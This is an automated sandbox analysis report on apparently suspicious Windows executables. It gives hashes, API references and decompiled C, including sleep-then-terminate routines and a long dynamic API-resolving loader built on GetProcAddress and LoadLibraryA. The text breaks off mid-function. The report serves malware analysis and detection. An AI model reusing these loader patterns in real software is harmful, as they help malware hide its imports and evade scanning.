Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction ID: f6fa1fd9faf67b6f5c7da57bcaed092b74eb3f3d06ed7c667bd5663fb36bfd88
Opcode Fuzzy Hash: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction Fuzzy Hash: C0016DB0E4430ABAEB349E40DC06BAF7260AB18709F50246BE994396C1D7FD4690CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041A831, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A8E5

Part of subcall function 00421350: __encode_pointer.LIBCMTD ref: 00421431

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: 5de0bba0285b3c6debf9385a9b4ee9d6e3b4223b7245dc1e71b4dba307df1cd3
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: A7412931C09744D6CB11AB39EA4516EB7B0FF51344F00C77BF88861222EB3489A9D347

Uniqueness

Uniqueness Score: -1.00%

Function 0042480A, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0042480A(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424870();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x1
					_push(_t11);
					_t16 =  *0x55adec; // 0xee29826f
					if( *((intOrPtr*)(E00424560(_t16)))() != 0) {
						E004248D0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0042480d
0x00424814
0x00424835
0x00424835
0x0042483a
0x00424816
0x00424819
0x0042481a
0x0042481f
0x00424820
0x00424833
0x00424844
0x00424855
0x0042485a
0x00424861
0x00000000
0x00000000
0x00000000
0x00424833
0x00424869

APIs

__encode_pointer.LIBCMTD ref: 00424827

Part of subcall function 00424560: TlsGetValue.KERNEL32(00000001,004247D6,EE29816F), ref: 00424575
Part of subcall function 00424560: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424596
Part of subcall function 00424560: __crt_wait_module_handle.LIBCMTD ref: 004245AC
Part of subcall function 00424560: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004245C6

__mtterm.LIBCMTD ref: 00424835
__initptd.LIBCMTD ref: 00424844
GetCurrentThreadId.KERNEL32 ref: 0042484C

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction ID: cd52a84825c2bf8fbb88cb90064d19717754aee927578763daa0ef8beffd906b
Opcode Fuzzy Hash: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction Fuzzy Hash: 2AF090B9A00254ABC700EFA8F84165ABB74EFC8318F5042A9E80597391EA35D580CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C46F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C47F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C494
_CrtCheckMemory(), xrefs: 0041C488

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction ID: 97d2a511b8fc848e5b89db42d103425e7006631eaa435eec30a2e5383ab4a5d8
Opcode Fuzzy Hash: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction Fuzzy Hash: BCF0E5745C83009BDB108B21FDB67793394B72030AF20865BF609552D1DABDA8C49E4F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8939.exe PID: 6728 Parent PID: 6260 8939.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000018.00000002.401930802.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_8939.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000018.00000002.401930802.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_8939.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000018.00000002.401930802.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_8939.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: D675.exe PID: 2016 Parent PID: 3352 D675.exeCOMMON

Executed Functions

Function 0040C4A0, Relevance: 301.9, APIs: 144, Strings: 28, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x617f48
					_t273 =  *0x41aa64; // 0x74df0000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x6180c8
					_t130 =  *0x41aa64; // 0x74df0000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x615418
					_t363 =  *0x41aa64; // 0x74df0000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t275 =  *0x41aa64; // 0x74df0000
					 *0x41a8b0 = GetProcAddress(_t275,  *0x41a668);
					_t364 =  *0x41a5d8; // 0x617fc0
					_t135 =  *0x41aa64; // 0x74df0000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x617f90
					_t365 =  *0x41aa64; // 0x74df0000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x618008
					_t277 =  *0x41aa64; // 0x74df0000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x618170
					_t140 =  *0x41aa64; // 0x74df0000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t367 =  *0x41aa64; // 0x74df0000
					 *0x41aa70 = GetProcAddress(_t367,  *0x41a2b4);
					_t143 =  *0x41a7bc; // 0x617eb8
					_t279 =  *0x41aa64; // 0x74df0000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x618188
					_t145 =  *0x41aa64; // 0x74df0000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x6181a0
					_t369 =  *0x41aa64; // 0x74df0000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t281 =  *0x41aa64; // 0x74df0000
					 *0x41aa9c = GetProcAddress(_t281,  *0x41a3a8);
					_t370 =  *0x41a1c0; // 0x615458
					_t150 =  *0x41aa64; // 0x74df0000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x6181b8
					_t371 =  *0x41aa64; // 0x74df0000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x615518
					_t283 =  *0x41aa64; // 0x74df0000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x6173c8
					_t155 =  *0x41aa64; // 0x74df0000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t373 =  *0x41aa64; // 0x74df0000
					 *0x41aac4 = GetProcAddress(_t373,  *0x41a0dc);
					_t158 =  *0x41a30c; // 0x6155d8
					_t285 =  *0x41aa64; // 0x74df0000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x618200
					_t160 =  *0x41aa64; // 0x74df0000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x6155f8
					_t375 =  *0x41aa64; // 0x74df0000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x618260
					_t287 =  *0x41aa64; // 0x74df0000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x6181e8
					_t165 =  *0x41aa64; // 0x74df0000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x618218
					_t377 =  *0x41aa64; // 0x74df0000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x618230
					_t289 =  *0x41aa64; // 0x74df0000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x615638
					_t170 =  *0x41aa64; // 0x74df0000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x618248
					_t379 =  *0x41aa64; // 0x74df0000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x618278
					_t291 =  *0x41aa64; // 0x74df0000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x618350
					_t175 =  *0x41aa64; // 0x74df0000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x615658
					_t381 =  *0x41aa64; // 0x74df0000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x618338
					_t293 =  *0x41aa64; // 0x74df0000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x6183b0
					_t180 =  *0x41aa64; // 0x74df0000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x618458
					_t383 =  *0x41aa64; // 0x74df0000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x618440
					_t295 =  *0x41aa64; // 0x74df0000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x618488
					_t185 =  *0x41aa64; // 0x74df0000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x615ad8
					_t385 =  *0x41aa64; // 0x74df0000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x6158d8
					_t297 =  *0x41aa64; // 0x74df0000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x6185a8
					_t190 =  *0x41aa64; // 0x74df0000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x618470
					_t387 =  *0x41aa64; // 0x74df0000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x615938
					_t299 =  *0x41aa64; // 0x74df0000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t195 =  *0x41aa64; // 0x74df0000
					 *0x41a9a4 = GetProcAddress(_t195,  *0x41a184);
					_t300 =  *0x41a118; // 0x618560
					_t389 =  *0x41aa64; // 0x74df0000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x6183c8
					_t301 =  *0x41aa64; // 0x74df0000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x615b58
					_t200 =  *0x41aa64; // 0x74df0000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x6159f8
					_t391 =  *0x41aa64; // 0x74df0000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x6159b8
					_t303 =  *0x41aa64; // 0x74df0000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x6183e0
					_t205 =  *0x41aa64; // 0x74df0000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x615af8
					_t393 =  *0x41aa64; // 0x74df0000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x618368
					_t305 =  *0x41aa64; // 0x74df0000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x6158f8
					_t210 =  *0x41aa64; // 0x74df0000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x615b38
					_t395 =  *0x41aa64; // 0x74df0000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x74df0000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x74df0000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x74df0000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x74df0000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x74df0000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x6180e0
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x6180b0
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x618068
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x617f60
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x618128
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x617ff0
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x617f30
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x618038
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x6180f8
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x617f78
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x617fa8
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x617fd8
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x618158
